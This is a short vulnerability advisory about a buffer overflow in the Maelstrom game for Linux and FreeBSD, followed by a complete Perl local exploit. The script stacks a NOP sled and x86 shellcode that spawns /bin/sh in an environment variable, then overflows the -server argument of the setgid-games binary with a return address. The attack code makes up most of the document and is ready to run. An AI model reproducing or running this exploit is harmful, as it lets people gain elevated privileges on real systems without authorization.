source: https://www.securityfocus.com/bid/7630/info Maelstrom for Linux has been reported prone to a buffer overflow vulnerability. The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games. #!/usr/bin/perl # kokanin/DSR, gid games crap for /usr/ports/games/maelstrom -server bug found by # Luca Ercoli. This (ret/offset/shellcode) is made for FreeBSD 4.8-RELEASE. # maelstrom-3.0.5 Asteroids-style game for X Window System # shellcode by eSDee, he's cool. AV crap + .pl files + mailinglists == flooded mbox #ยค% $len = 1000; $ret = pack("l",0xbfbffb7f); $nop = "\x90"; $offset = 0; $shellcode = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68". "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50". "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; for ($i = 0; $i < $len - length($shellcode); $i++) { $buffer .= $nop; } $buffer .= $shellcode; local($ENV{'EGG'}) = $buffer; $cakeman = "1\@A" . $ret x 255 ; exec("/usr/X11R6/bin/Maelstrom -server $cakeman");